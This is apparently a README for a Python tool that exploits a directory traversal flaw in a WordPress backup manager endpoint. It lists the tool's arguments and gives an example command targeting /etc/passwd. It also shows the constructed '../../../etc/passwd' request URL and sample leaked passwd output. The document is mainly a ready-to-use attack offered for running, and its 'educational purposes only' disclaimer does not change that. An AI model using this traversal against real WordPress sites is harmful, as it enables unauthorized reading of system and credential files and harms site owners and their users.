WordPress Backup File Access Tool

A Python script designed to construct and request URLs for accessing WordPress backup files using directory traversal. This tool is intended for educational purposes only and should be used responsibly.

---

Features

• Constructs URLs for accessing files via directory traversal.
• Fetches and displays the contents of the target file.
• Supports custom host, port, path, file, and depth parameters.
• Colorful terminal output for better readability.

---

Requirements

• Python 3.x
• Required Python libraries:
  • requests
  • colorama

Install the required libraries using:

pip install requests colorama

---

Usage

Command-Line Arguments

Argument	Description	Default Value
--host	Target host (IP or domain)	Required
--port	Port number	80
--path	Base path on the server (e.g., /wordpress)	/
--file	File to access (e.g., /etc/passwd)	Required
--depth	Number of ../ sequences for directory traversal	Required

Example Command

python wp_backup_access.py --host 192.168.1.100 --port 8080 --path /wordpress --file /etc/passwd --depth 3

Output Example

[+] Target URL: http://192.168.1.100:8080/wordpress/wp-admin/tools.php?page=backup_manager&download_backup_file=../../../etc/passwd
[+] Fetching file...
[+] File fetched successfully!
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

---

How It Works

1. URL Construction:

   • The script constructs a URL using the provided host, port, path, file, and depth parameters.
   • The depth parameter is converted into ../ sequences for directory traversal.

2. File Fetching:

   • The script sends an HTTP GET request to the constructed URL.
   • If the request is successful (HTTP status code 200), the file contents are displayed.

3. Error Handling:

   • The script handles errors such as invalid URLs, network issues, and user interruptions.

---

Disclaimer

This tool is intended for educational and ethical testing purposes only. Unauthorized access to systems or files is illegal and unethical. Always ensure you have explicit permission before using this tool.

---

Author

• **r10xM37